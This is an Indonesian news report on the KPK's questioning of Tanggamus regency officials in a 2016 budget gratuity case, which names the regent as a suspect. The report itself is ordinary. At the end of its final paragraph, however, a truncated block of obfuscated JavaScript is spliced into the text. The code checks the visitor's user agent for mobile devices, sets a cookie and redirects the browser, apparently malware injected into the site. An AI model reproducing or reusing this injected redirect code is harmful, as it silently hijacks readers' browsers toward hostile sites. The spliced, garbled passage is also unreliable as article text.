lampungnews.co.id, Sekretaris Daerah Kabupaten Tanggamus Mukhlis Basri mengajak awak media bermain kucing-kucingan saat dirinya hendak meninggalkan Gedung Subarkah SPN Polda Lampung, Senin (31/10) yang dijadikan penyidik Komisi Pemberantasan Korupsi (KPK) melakukan pemeriksaan saksi-saksi kasus Gratifikasi APBD 2016 yang telah menetapkan Bupati Tanggamus Bambang Kurniawan sebagai tersangka.

Pantauan Fajar Sumatera di SPN Kemiling, sekitar pukul 17.25 WIB, Mukhlis yang saat itu mengenakan kemeja putih celana panjang dasar hitam terlihat mengintip dibalik pintu ruang pemeriksaan sambil menunggu kendaraan yang akan menjemput dirinya.

Hingga tiba satu unit mobil Pajero warna putih bernomor polisi BE 1235 AX yang diparkirkan tepat di pintu keluar ruang pemeriksaan barulah dirinya berlari masuk kedalam mobil dengan membawa berkas yang disimpan dalam map berwarna kuning sambil menutupi wajahnya dari sorotan lensa awak media yang telah menyebar untuk mengambil gambar dirinya.

Dihari terakhir atau hari ke empat pemeriksaan KPK beberapa anggota dewan terkesan menghindari sorotan awak media yang telah memantau pemeriksaan dari pukul 10.00 WIB dengan cara menutupi wajah saat keluar masuk ruang pemeriksaan. Terpantau dihari ke empat, Sekretaris Dewan Tanggamus Suratman hadir kembali dalam pemeriksaan.

Sementara, belum ada kejelasaan hasil dari pemeriksaan belasan anggota dewan Tanggamus yang berlangsung dari Jumat (28/10) hingga Senin (31/10) kemarin lantaran tidak ada satupun penyidik KPK yang memberikan keterangan dengan alasan bukan kewenangan.

Dari rangkaian pemeriksaan Kasus Gratifikasi APBD 2016 Tanggamus, sejumlah nama yang telah diperiksa oleh penyidik KPK yang berhasil dihimpun Fajar Sumatera yakni Pahlawan Usman (Ketua Komisi I), Tedi Kurniawan (Ketua Komisi II),Ahmad Farid, Tahzani, M.Muhtar (anggota komisi I), Basuki Wibowo (wakil Banperda DPRD Tanggamus), Sri Wulandari (Anggota Banleg Banperda DPRD Tanggamus), Dicky Fauzi, Suratman (Sekwan Tanggamus), Munir Sahri (Mantan Sekwan Tanggamus), Yoyo Sulistyo (anggota komisi I), Buti Karyani (anggota komisi III), Herwansyah (anggota komisi III), Hajin M. Umar serta Riswanda Djunaidi yang menjabat sebagai Kadis PU Tanggamus.

KPK sendiri telah menetapkan Bupati Tanggamus, Bambang Kurniawan sebagai tersangka pada Jumat (21/10/2016) lalu melalui siaran pers diwebsite https://www.kpk.go.id/, Bambang terbukti memberi hadiah atau janji kepada pegawai negeri atau penyelenggara negara dengan maksud supaya pegawai negeri atau penyelenggara negara tersebut berbuat atau tidak berbuat sesuatu dalam jabatannya yang bertentangan dengan kewajibannya terkait dengan pengesahan APBD Kabupaten Tanggamus Tahun Anggaran 2016. ri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

NO COMMENTS

LEAVE A REPLY